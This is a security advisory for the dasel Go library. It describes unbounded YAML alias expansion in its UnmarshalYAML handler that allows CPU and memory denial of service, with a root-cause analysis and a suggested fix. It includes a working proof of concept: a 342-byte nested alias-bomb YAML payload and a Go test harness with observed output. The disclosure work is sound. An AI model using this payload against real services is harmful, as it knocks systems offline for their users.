Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service

### Summary `dasel`'s YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. The issue issue is on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on the current default branch at commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. It is also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth. ### Details In `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`), the reachable call path is: - The YAML reader is registered in [`parsing/yaml/yaml.go`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml.go) and exposed via `parsing.Format("yaml").NewReader()` - `(*yamlReader).Read` in [`parsing/yaml/yaml_reader.go#L23-L48`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L23-L48) uses `yaml.NewDecoder` to decode the input. Because `yamlValue` implements `UnmarshalYAML(*yaml.Node)`, the decoder passes the raw `*yaml.Node` tree to that custom unmarshaler - `(*yamlValue).UnmarshalYAML` in [`parsing/yaml/yaml_reader.go#L57-L131`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L57-L131) walks the Node tree - When an `AliasNode` is encountered, the handler at [`parsing/yaml/yaml_reader.go#L119-L126`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L119-L126) recursively calls `newVal.UnmarshalYAML(value.Alias)` without tracking expansion count The root cause is that go-yaml v4 has two decoding paths: 1. **`Unmarshal` into Go values**: Tracks alias expansion count and rejects documents with excessive aliasing (`"yaml: document contains excessive aliasing"`). 2. **`Decode` into `yaml.Node` / custom `UnmarshalYAML`**: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level. Dasel receives the compact Node tree via its `UnmarshalYAML(*yaml.Node)` hook and then recursively follows `value.Alias` pointers, re-expanding aliases without a budget: ```go case yaml.AliasNode: newVal := &yamlValue{} if err := newVal.UnmarshalYAML(value.Alias); err != nil { return err } yv.value = newVal.value yv.value.SetMetadataValue("yaml-alias", value.Value) ``` With a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input. Test environment: - MacBook Air (Apple M2), macOS / Darwin `arm64` - Go `1.26.1` - dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) - go.yaml.in/yaml/v4 `v4.0.0-rc.3` ### PoC ```go package main import ( "fmt" "runtime" "time" "github.com/tomwright/dasel/v3/parsing" _ "github.com/tomwright/dasel/v3/parsing/yaml" "go.yaml.in/yaml/v4" ) func main() { payload := `a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ` fmt.Printf("Payload size: %d bytes\n", len(payload)) fmt.Printf("Go version: %s\n", runtime.Version()) fmt.Printf("GOARCH: %s\n", runtime.GOARCH) fmt.Println() // 1. go-yaml v4 Unmarshal correctly rejects this fmt.Println("=== Test 1: Direct yaml.Unmarshal (should be rejected) ===") { var v interface{} start := time.Now() err := yaml.Unmarshal([]byte(payload), &v) elapsed := time.Since(start) if err != nil { fmt.Printf("SAFE: Rejected in %v: %v\n", elapsed, err) } else { fmt.Printf("VULNERABLE: Completed in %v\n", elapsed) } } fmt.Println() // 2. Dasel's YAML reader is vulnerable fmt.Println("=== Test 2: Dasel YAML reader (VULNERABLE) ===") done := make(chan string, 1) go func() { reader, err := parsing.Format("yaml").NewReader(parsing.DefaultReaderOptions()) if err != nil { done <- fmt.Sprintf("Error creating reader: %v", err) return } start := time.Now() _, err = reader.Read([]byte(payload)) elapsed := time.Since(start) if err != nil { done <- fmt.Sprintf("Error after %v: %v", elapsed, err) } else { done <- fmt.Sprintf("Completed in %v", elapsed) } }() select { case result := <-done: fmt.Println(result) case <-time.After(5 * time.Second): fmt.Println("CONFIRMED: did not complete within 5s; unbounded alias expansion in progress") } } ``` Observed output on `v3.3.1` in the test environment above: ```text Payload size: 342 bytes Go version: go1.26.1 GOARCH: arm64 === Test 1: Direct yaml.Unmarshal (should be rejected) === SAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing === Test 2: Dasel YAML reader (VULNERABLE) === CONFIRMED: did not complete within 5s; unbounded alias expansion in progress ``` ### Impact An attacker who can supply YAML for processing by dasel can cause denial of service. The library's own `UnmarshalYAML` handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated. This affects: - CLI usage: when reading YAML from stdin or files via the CLI - Library usage: any application using dasel's YAML reader to parse untrusted YAML - The `parse("yaml", ...)` function in selectors ### Suggested Fix One likely fix is to add an alias expansion counter to `UnmarshalYAML` that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).

Quoted source text, attributed separately from HOL analysis.